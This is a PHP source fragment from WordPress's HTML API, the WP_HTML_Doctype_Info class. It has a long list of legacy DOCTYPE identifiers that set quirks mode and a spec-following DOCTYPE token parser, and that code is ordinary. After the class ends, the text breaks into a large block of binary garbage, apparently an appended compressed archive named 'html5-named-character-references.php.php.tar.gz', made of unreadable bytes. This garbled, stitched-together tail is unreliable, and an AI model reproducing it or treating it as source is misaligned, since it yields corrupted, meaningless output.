			str_starts_with( $public_identifier, '-//as//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//advasoft ltd//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.1e//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//metrius//dtd metrius presentational//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd strict html//' ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html 2.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended 1.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended relaxed 1.0//" ) ||
			str_starts_with( $public_identifier, '-//sq//dtd html 2.0 hotmetal + extensions//' ) ||
			str_starts_with( $public_identifier, '-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//spyglass//dtd html 2.0 extended//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava html//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava strict html//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3 1995-03-24//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2s draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 transitional//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 19960712//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 970421//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd w3 html//' ) ||
			str_starts_with( $public_identifier, '-//w3o//dtd w3 html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html//' )
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is missing and the public identifier starts with…
		 */
		if (
			$system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > Otherwise, if the DOCTYPE token matches one of the conditions in
		 * > the following list, then set the Document to limited-quirks mode.
		 */

		/*
		 * > The public identifier starts with…
		 */
		if (
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 transitional//' )
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		/*
		 * > The system identifier is not missing and the public identifier starts with…
		 */
		if (
			! $system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		$this->indicated_compatibility_mode = 'no-quirks';
	}

	/**
	 * Creates a WP_HTML_Doctype_Info instance by parsing a raw DOCTYPE declaration token.
	 *
	 * Use this method to parse a DOCTYPE declaration token and get access to its properties
	 * via the returned WP_HTML_Doctype_Info class instance. The provided input must parse
	 * properly as a DOCTYPE declaration, though it must not represent a valid DOCTYPE.
	 *
	 * Example:
	 *
	 *     // Normative HTML DOCTYPE declaration.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE html>' );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // A nonsensical DOCTYPE is still valid, and will indicate "quirks" mode.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!doctypeJSON SILLY "nonsense\'>' );
	 *     'quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Textual quirks present in raw HTML are handled appropriately.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( "<!DOCTYPE\nhtml\n>" );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Anything other than a proper DOCTYPE declaration token fails to parse.
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( ' <!DOCTYPE>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE ><p>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!TYPEDOC>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( 'html' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<?xml version="1.0" encoding="UTF-8" ?>' );
	 *
	 * @since 6.7.0
	 *
	 * @param string $doctype_html The complete raw DOCTYPE HTML string, e.g. `<!DOCTYPE html>`.
	 *
	 * @return WP_HTML_Doctype_Info|null A WP_HTML_Doctype_Info instance will be returned if the
	 *                                   provided DOCTYPE HTML is a valid DOCTYPE. Otherwise, null.
	 */
	public static function from_doctype_token( string $doctype_html ): ?self {
		$doctype_name      = null;
		$doctype_public_id = null;
		$doctype_system_id = null;

		$end = strlen( $doctype_html ) - 1;

		/*
		 * This parser combines the rules for parsing DOCTYPE tokens found in the HTML
		 * specification for the DOCTYPE related tokenizer states.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-state
		 */

		/*
		 * - Valid DOCTYPE HTML token must be at least `<!DOCTYPE>` assuming a complete token not
		 *   ending in end-of-file.
		 * - It must start with an ASCII case-insensitive match for `<!DOCTYPE`.
		 * - The only occurrence of `>` must be the final byte in the HTML string.
		 */
		if (
			$end < 9 ||
			0 !== substr_compare( $doctype_html, '<!DOCTYPE', 0, 9, true )
		) {
			return null;
		}

		$at = 9;
		// Is there one and only one `>`?
		if ( '>' !== $doctype_html[ $end ] || ( strcspn( $doctype_html, '>', $at ) + $at ) < $end ) {
			return null;
		}

		/*
		 * Perform newline normalization and ensure the $end value is correct after normalization.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$doctype_html = str_replace( "\r\n", "\n", $doctype_html );
		$doctype_html = str_replace( "\r", "\n", $doctype_html );
		$end          = strlen( $doctype_html ) - 1;

		/*
		 * In this state, the doctype token has been found and its "content" optionally including the
		 * name, public identifier, and system identifier is between the current position and the end.
		 *
		 *     "<!DOCTYPE...declaration...>"
		 *               ╰─ $at           ╰─ $end
		 *
		 * It's also possible that the declaration part is empty.
		 *
		 *               ╭─ $at
		 *     "<!DOCTYPE>"
		 *               ╰─ $end
		 *
		 * Rules for parsing ">" which terminates the DOCTYPE do not need to be considered as they
		 * have been handled above in the condition that the provided DOCTYPE HTML must contain
		 * exactly one ">" character in the final position.
		 */

		/*
		 *
		 * Parsing effectively begins in "Before DOCTYPE name state". Ignore whitespace and
		 * proceed to the next state.
		 *
		 * @see https://html.spec.whatwg.org/#before-doctype-name-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at );

		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		$name_length  = strcspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		$doctype_name = str_replace( "\0", "\u{FFFD}", strtolower( substr( $doctype_html, $at, $name_length ) ) );

		$at += $name_length;
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		/*
		 * "After DOCTYPE name state"
		 *
		 * Find a case-insensitive match for "PUBLIC" or "SYSTEM" at this point.
		 * Otherwise, set force-quirks and enter bogus DOCTYPE state (skip the rest of the doctype).
		 *
		 * @see https://html.spec.whatwg.org/#after-doctype-name-state
		 */
		if ( $at + 6 >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		/*
		 * > If the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "PUBLIC", then consume those characters
		 * > and switch to the after DOCTYPE public keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'PUBLIC', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_public_identifier;
		}

		/*
		 * > Otherwise, if the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "SYSTEM", then consume those characters and switch
		 * > to the after DOCTYPE system keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'SYSTEM', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_system_identifier;
		}

		/*
		 * > Otherwise, this is an invalid-character-sequence-after-doctype-name parse error.
		 * > Set the current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus
		 * > DOCTYPE state.
		 */
		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );

		parse_doctype_public_identifier:
		/*
		 * The parser should enter "DOCTYPE public identifier (double-quoted) state" or
		 * "DOCTYPE public identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-public-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_public_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		/*
		 * "Between DOCTYPE public and system identifiers state"
		 *
		 * Advance through whitespace between public and system identifiers.
		 *
		 * @see https://html.spec.whatwg.org/#between-doctype-public-and-system-identifiers-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		parse_doctype_system_identifier:
		/*
		 * The parser should enter "DOCTYPE system identifier (double-quoted) state" or
		 * "DOCTYPE system identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-system-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_system_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
	}
}
PKE�N\��gnn/html5-named-character-references.php.php.tar.gznu�[�����{�TG�'��n����ݙ���hfzG���yH-Q����SU)����*`g�
(�z�7�ޅ����Q�k�1��+��~��s�p?�����k����Dx�=<<�#+��A�狃�U}�B��z���p�W�r���G���l��@����R��Un0gs�(�U�GqT�E�_W�������_OWW*���ή��������z'�t���n{�%���z6vY�������u=��_��7󋶿i{�Q��j *Gq���r�l���_�ۊ��By��Qmۺ��mma�����WWn��'���/��m��m��6�gۮ�m�n۾�́o�ݳ�7�l{����?n۲��ͻ�ܳ���D�J[�Ro+U�Cm���+M���q����T\	|���-n�]�M0�J�����zK����j1����ϵG[=��k��P�\����ֳ2�r�P/��3���!������DmU��8�Հ��i�����ׯ;�5��Q!r����l_1��/���l��/�٧��Ӑ٧�٦Г��z[��_駶�ugw[��
��+�*�w�P��
�Ŷr4�(8Z����\�Ղ�D�BD��m���AΕ(�d��h沵�W��\sm9�e�yP��&A7�}W
ЏJ�\���Q��(o��붏
��J������F1B+� Ζ۲���@�Ҩ�P5�k��@�ի�6<�1��W���0*�����g�+~�UǕ��G֑I���̍[mLj���� T�҈s���m�q���?�枏���ĮhD�ʙsM�bK������.;T)�]/E�W��r��uI�D���E,�"3���F5O�ݗ����z�Z��k��F�f�������J������~�94������ʟ�����7T�O]C�*�j��i��_���g�8{����������+x͍�_���o�~��򫺛���kt��bT�"B�q�Q�q�77�|��7��o�}�����-ⷄ�2~+���7�o
�u�6�-�|�ފ��o!�[H�R���oo���"��H�v���6(�=��~Q��A�m�|4��w��{�ݍ�O���;��(����;�����/RmF��(�f�ڌVڌ�lF+m��h������>�Q���]P{t�E��"��%߂ܷ �-�-H�e؂�[P�-H��) ǭo��"�V�ڊ�"�V�ߊ�m��؆ܷ�G�!�6�݆|���6�
�ކ��
Զ��6�
4�C���=�yq���ߡ����~���C��!��;�lG�lG�툹���/��Tۑv;�Ey�G����}�z��Gk����#��(������>@�����?��j�pR�@�h�H��%�
;0Zv��v��P�Ԇ�w'������sa'J���	j;Ag'�~/~����{�w��_�s(��]��.����@���]Leۍ�ۍq�tv��nP�
�Aa7�tvc^��ݨ�nP�j{v�svh��=��4���PۃR�����3e/R�E��Eڽh��(�^�ؽ���t�2�j/J�!8ɇ��!h~���>�A�C����b~�8!�G����?������6���>F�>����c��㣄���>A�O����	R}�T� U1��Q񳈙E�,Z)��E[e�VYPȢ��h�,SC[eQ��0���s�!�>�҇\�P�>�Շ���}����W��C^}ȫy�!�(�@3�9�́f#$�9�́Ztr��C�sL
e���<�?���#�<ʟG^y�G^y�G^y���1���1���1���1�~#��yE�%B.r��K��@9B�Dh��Dh�s*B�r��c�#�8�ȥ��~?���(?r��~���~P���P@���J>��<����������(0e�y3h}1�\�� r�A����APD?�����/ ~�)�<����,�<�)���g4(U-�h~j�!�gH�b~�8���~�܏����~����w?R�G�"jZO.�m��E�)��EP+����Q���\�"(��E���z�W�*����/�UD��h�Fc	���c	9��c	9��W	mXB^%�RB.%�R�(���w;~������Q�2�*#�2�*#�2jWF�e�XF�ȷ�:��o��Q�2r/�ve.jWƼ�`e� �
� �
� �
� �
� �
r� �
r� �
r� �
r� �*r�"�*�WA�
�UP��r���\�*hVA�R@��s�@��c�E1�O��c�p�2Ĩi��Ġ�$1(�(I�����y��+F�b���1��RC^5�UC^5�UC^5�UC^5�UC^5�UC.5�Rü�!��!��k�u�XG�u�XG�u�XG�u�XG�u�RG.uЯ�~4h�ڭ�
Pn�r����h�r�h�
�o�~���@�(y
!�!��f�rB^C�k�B�C�e=2�\���rB.Ch�aPF�a�F�a�F�a�?����A�<�D[D�Q��� ���L5:�q~�:�Z�C(�!P>��@��B�È��$���0RFy#�a�=����ou���m��+q���a���_{�������}?�e8H�_ӷ_:]���a�v�28t���������uB������?��N�4E6��.�#	S0���W�r�
@ CJ�/����GM2�(�ˣ1W�s.��J�Ц}<c�H���Q�c<���C���3J�?޴�~a��5�H]��hq����HF�4��Ji��2����}?�5%E��F+es�D/
�. %�r~ӾW+�M�����4Re�Rv�F]�+�~��K_Aw�R�R�'J�Z-z�QΑ>�ex�&��O��-M�4�g8H!�Ae���Ae��5u�{.��.}-�.:wʹ7�#Ӊ�'���5�R/��g�2���W�|�*�ώ)�F���S��B�N����: �pH�V6��V��]%�g3��#��1C.�������Q��Y�)Jx��%����`�!������\i����r��=�e��
���:��sJbc���F�?=������e�ӌd&O�Iڷo����iL{�hDf
?^2��/i4�����@e�h�R5:@C���0:�����d	J�j˿�c�Ǜ��X� D��P�+`�sXSf��z��N�:�z��]�����v�P1:���� f�/�(\u�)��*��q�T=L�[�~I����ߦ����Uʅr���}�a.�yLS8�h"��a	��ת�0	'�)[PA�����	��|��*_q%z9iZ�R�H�)"e�;��׮\D��F�����Q�_SY9`�xo���M���Q#
ܜ1������W�b�~�ܠ�t,�1{
������Qf<y5yY�g��29�L��1y=E��P�=QF]�2+��ÅZ�v�\�4�m����V�!�U�>�O��x�J����Q��j��Z�
�.���\��4�<r�����)x�A�����+c+�.�q#�@��Ep5��9�3+e���CD�)qO�P�k��q�K{��*���.ƨ��9�-B��q�34�P>^�l��=�FE����Ս_��ގ+5s�o%".�ӈ~���]i���UfQ'3�2�I7�r�NZ����;n���AZ#��f�<1�� ��n������x��h
��ʿ����D2�>A��)�Nk��@D�bč�w��U}��1�nj�ԍ�<��c�(6/��X����P�x|�QDq.z�XO�u�����Xٝ�4lO�m�_�Iz����D�bn��lZ�rn��D~����0���a��E�L ����L����?^&\Ӫ9�x�
��)�ڻSK�8LS�<L|���L����k�7�(%З�o�ua�����ʣ_�E.�vǛ�G��]�����q\v���6#�S�=��%ىC5I�LS����2\�>Ĺ���p���'��Ü��X'�҇�>��U�
6��F1ڍ�/hމn(>A��I�G��Џ|�DY���3-U"�D~���J/7��3K�#�-Hk�|Κ�r���3�%�Ɩ��$�,�D�YR���/B3��a}��ę@�J�B�Y�8FS��O���g�(��ܷ����Ұ2�w�T|=q!|M�U&�����:\����:b�q�����-���͙o:�����_o�\��Ɏ^��}j�L�~j΋d���a�Y��/M#���,Jf�p�hj�$9D�!�H)�O�j�	�ؼ>=#�fǶ.b9;��:��}f���}��a�3�%�w�8?�2�����yF��C�r�1٦V� c���~{������c�TT�%�)���P.]�Ǖ�nE�Y�E�9�(�3�3IIi.����M��͆�cR��~f�n���p��Q��މ��o堦�z����)�����z�	���+����&%(!�B�H�B��Z��d�ѼME7Q�yk7�����H"����!�M���s�	S0M=7�k�s�B1*�`��g���D.U��?���-w�q;�]��$��SB�Z/��o���f�h�7����4,U�{�͢��r�,��4Mߥ�0�N)Tklo~�1�g��z�Q(��B�D�t�
3M$�WGA{�Gf��x��B`c��Sn����+LەG���y�;�e�� M�sO�Xy��!_4�H���}S�(Ъ��Umߔ�<Xu{2�z�I(=�H,���7*�>�EB�{t#&�1�=���6ߪڛ�(29&�&�N�w�b�O����4^u�w�%�Q�JKZsj�:��u�@�-�1v�_�+�E��#�X}fԏ!w藘���[h$9��iV2B�L_�h[x�x,eg���eϦ}���i��V?gK���p��D&��в�]|%�?Ӳ�E0�t���yܰ\*y��z���^�vY�rE%l�A�����/���c�g�{3����H2�&�Ɨ.W[h�u����F6[|G?OU�>׈q��G��b�d֕��j{���Հ~�Q,	w)��C��N��x8׃��<&�֩�zsɘ�<'f�T8����E��\�$�|����R��Rr셀���4IY-+#�ֆ����T��m�E�ZK�M��([����U3ހ¨ZՈ�\�ģ�ۚut��Y��E��D������m��a�x[Y;;�����H�b�� ���4���>�)�Z�����a
��Cm=�I��OD��)9�'��)�O�8F^\L�+S�F	[�˧@�Ql4T}&&w!i����ګm,�ͤ0B]뷽���_�!��J���#)��w�POf$L�4�d�P�9��P�a�Q֗R��z�j�dz|���Fx_#�;�2��m��A�@�Md�i�݃J��ʠ:p�����9���'�n+U��Vc�Ȑ�l*�Ɛ��
s{8qo�K�个��֠<T���ǚ����E���#�	�N-���SG�Rk)dN��	����o�2���,���p�!�UX��zطM�Ữ��̌PB�Y�T0��X�f0���Tױm2�Ϥ���&'�/�M���K�Pnk���s�c��4�(����'΁�,z�WeQ���	'}�icI�rK}h&�V�=Y�O�-�:
��mz$m5���^-�Q7���҂Zb_����4��F��C���Cۅ��~�-2�Ig���*
�+�P�*C�F����+�bA{lZڤ��>���z�;��GS[Z5~�[w1u�_�sL�4���;���߿���jѭ�"�;δݟTC�R_���*�����*�H�Ȼ�?����o-�<IS�l7��(��3��{�3���Z_M�\<Kv�S�aW��ק%��n���Ͼgs�#�{s����o)>�˾�=q�5Y1���CƿIHC~�Ѭ�T�g	]�!�
�SW8v�B�T2K.��iO9Q��(���P�3��FƄ̚
*mR�&���K�y���	�_ݨ�O�r�,��zS+����QoG�",�^M�s�ڮ�m�(�w��a��bߧ'Κs"�_1,���[��T��u+��:y��}J�p���?��O��S�r�2J�K|��aY��䬖�Kbt29��7
P^�I}���?��0Ň����TNq�h�)���ʭv��ͭ9v��f��ӊ���
T㭺�+�n.
����@O�F��b�r��Ms��C�;�+Ɔ��q�w�:����U7�c�K@+��&��w�����3����&�m:wx�q�O�� ��U:�1�	��+ߕ��t�B�R���W�0�#L�]��(Y�+�����R�7�[�-��k�ԣگ3�Pl�ut���2�I�x��'i<fd2�7�>�^.g�Zpi	B�'�AB�^���$�k��T	��-ͭd=x4`n���=f|!Z��
1����=bt1ىt�g�!U�m����Ww�iɀA����|���L"�t�=�n�C]��$�Q�Z��a3o� eC>�&�C 1&�^�P���L�(y5Ƒ������˨�����Y��r}T��L�3iSJ71�7�q�i|ãAw\u��16�*�����tH�ߔ���kM-��6�,�N�Ȳ���@d�uk���u2��~"��,:��0er=Mt\?�׏�~�����,]p@j�=����ё)G<�գ|��rb-�%�'�/�Xn������-�v�aVt���ZY�3#Sth�R\�k$���X���Z���\���-���2�h����vWml�-�ܪ�R�3M�z�_�t�Dcw���:�9>�#7D���:u� �I�����6r�(�7���o�F1�������m��$��gkpےL�΅b��18����3ȧ�a���eh��򅠋*j�9��N���}� d$*DS�B�Y��F�ċ��.�W�՞l-�u!�}?P�C��cgr�6S(��<�E���T�Ֆ��:�O�oB����E�CerȦ!9dә��P�QŅ��	+�ۡ���6' �T��0�g���{�#�~"̑D�ثc�b:��E��qჱ+Oj=�5�HD���7�ID90>i��jC����3��Bk�Pm�Iga�$���d*c��s�i��?���^Ɵ���vƟiKٙ��XfX��V���_�V�ƴ��k+k㯷ij�n M�[>����������z3�c�k��q����&f�=uK>6�;n�i|jbyH7yF�5q=^!I0�ob|����q��r�#z��7�?n�5|Ir@Nu_R%� ���[��$�(�
��_�v���$C�lN!�(��ܫ��`��x����	���`c�`���-�mr��1�8�%��G�q�2J�?�h[kj�>�.��#�1�6W��0M�}?`-e��d��H��=��#@��#��Q��lԅ6֓�x�d������2����r�Q���z���6[���V���ü�wE��n�������ä5=L����WRU�����7<��0�
I
���F*����n%v�o�q�DZ�j�ß���H��i'�d)�'����!'�2�턌_OZ��OZ/�m���w�YGs��;��B�u�CD�si"���?ou+�9o5I�y+�>�y��P*����w���4�>�aM��pLtm��Q�:s)>��h��w�c��a���Q��i^V�2�) U��ޙ�cw^	���W5��fV.�h1V�d����p)#a	�l�� �s��K�Y\y���*�"�᧊lv��`y��| |ڼ�����N�#�Z�g���(�j�Gf��T�Mw�5xg��6�\fOS?8����z���7�x<bL��$1�4�NV�y����$ǻA�.R��ZI9��fܜn���ɸ�ļ�k�5�U�N�s��朲��p|4g���QwR��-<L��Hw$~�/���K�_����J��s�XuB�y��)b�9���X�ϧ�]O�S���e�Zw���s�U������EmbA����߽��i�� ���”�S��M�'H�k�:]m?2K�3��1A�OCIG�h�]�'H��c�Oc��<y�c��6��n���F�`9u�\3�F-!~�wǞM�z�A���}�{1�v�ᰦ��{!m�*?����+-��
=����E�?9^ł]o��y"돤�u9۵y��n3����I!�[8����ҭ���:���Y�L}��ξ����_�"H	�D����zA�uv��ZP��wy-(ebsR-(�y��5�����j�||��1��IڕO�ݑI�x�,�)�Q�r:jo��o'�[L�qM��UU�.���<ƒ�+n��ώ
s������h����,�M��͇���|h1%x$�m	V�lLp�������\�Di.���{ԓ��
2��|�4���/h�p��TX��"Q��3��|)��)�:'�p�?%�p�xN�DY��m{Gk���N���yv.�o����ͷ�3���v^�z������rbO���UY���|i=���4��xR��dڗOqһ*�fB�o��q�d�tN���Ƀ��n:)��i��Ӵ��6;�Ѿxc�I�9�ك�)��hla.wj����(��s�^�~��a����r?���qW����Ae����i�����s�T�
�pP�rۮF1z'*f�ڛ��&K��#�aH�{�\���nYJ|ĺ��k�T�ؽ��=HeV�n�QW��~y���v�<�ۯ�7]��zx��� �_� �x�$�}��F�L��7z��y�h�2•���!g6M�����A'ڵ�.`�}��l�VR�nj�"JRֱ�Og�y�7����3Y0V �p����T�{F�B�qė��P`�<����s�����	�6�zb�~�7I
�/M�ϓ�3mi�l�g3m)gU��8��e�x�c0K�@��YV��Z�--��o�Ờ�6�$�T�Y���豤��aiU�j�	��8�݂���*3���}7U�Vxw��ՠxV?�
��3Չg���;��aᚺ��}9�))�S��{�^*M%��T�3�&�Y|	h�sǁ��W����L�ĬI��}E�M �|�Z�d���o��݉��p%U6ސd:׭c
�T�a��g>v��=�/��{�����}?8� ���7J���N1��w��y`���.B�R��Y]\��a�m�]a���ˌ�8�d��lb�K�%�������4�s����̻�~9�Ma*��ԥc>�t�6����,��qM���{52��w)⨿n3��`c=2����tֆ��	�B�ń����JZt��<�ʜ[��gڒ���f� ��f�ͧ��a�Ʀ�c�����w�_<�R��r"f�_�u��Yox4(S)k��Ts[�=�3�{�����#F��4�%�	$$*����W|X��.0��
��Z�HA?��?�
\�
��O�;
c�+��S�:]$�>��a��589s/�5 D���H�g
W�lPa�?k��~z֠�|{e�\J�6:<�����	S0��r�=kP��^9^0js=CP��r�E�@
�#��
z�n)��ɝ�h�T>�c���i�iR���t��1�TP������ko��u�����v{�Ck�+W4?������Wɉ�n:"B&n�q<co��le{Q�	aw��M����K��3����t����#�UE,�,A;(��/ZX���_�aӾ��VS
ш'��E�\��/_m5�%}\�U9Fj�l��N',Y�0�HȍMW�`�۴ͦ�wOB�'����T�Rt������s��|��]�
�
�u�z�y?U�4�^N��S���u;��ϑ�o/Α��/�#a�&�H�
����ur��w��V؇a���"㮙h`��DTx��҇yG�V�5����W�HAߙ�b�<zl�
vGn�fY!v�R&���;\ҠuR�i�?)B��>�+=2˟C�l�T�zsYP��o��ɻ���=t��*	&}�Pė���y������}�
s����J���CY@.�- �?�L�d������Aܪk�A����|ۓؼ��.*���a�j��ʗ���z��=M(��^>���JZ�u������:���W�uV7�?H�W�2V��t�d�
r�ۄ?���N-��������T�J����-�l4��*�}̮�'R"镊��s7%�������d��E³�*��r�B�j?�1��@�ki��:�*3�X���4��Ay�Ǿ�Ϥ����}�[�aj+���x�I+^�|?��lJ������&����O���Y����h9jؤ=3-�ۭO�L��ԔE\����(�|T����'��2��'b1S���L�j���X�OD�<��;.��X?��(�s􆦬��2�`ژ���z8����XW
�G�Ǭ���9�W�fy��#u���y@a�D�O!���״]m��7��=}���K�ȇ@Ql�o�ޠ�WK�lď5�%A
��v�����A�Y��7\j�K{=�������?�473�`ږ�T׺���l1��Mn?��`�[f
��<�h7�E�
�B�%.+^�P�H�u��{d
����>Q��[�	����h����jo�l9_+V����	:��@������$���Ji�,�����Z���R�,~@����R�-�ׇ�@�zi}�0��O~GP>��?�x24�o���o`��M!G�9�T�й� ]_�rP�y`)��LK��nh��6H���0�\\	��`VF���Z���;#�i񋀑>^�02���M�Z
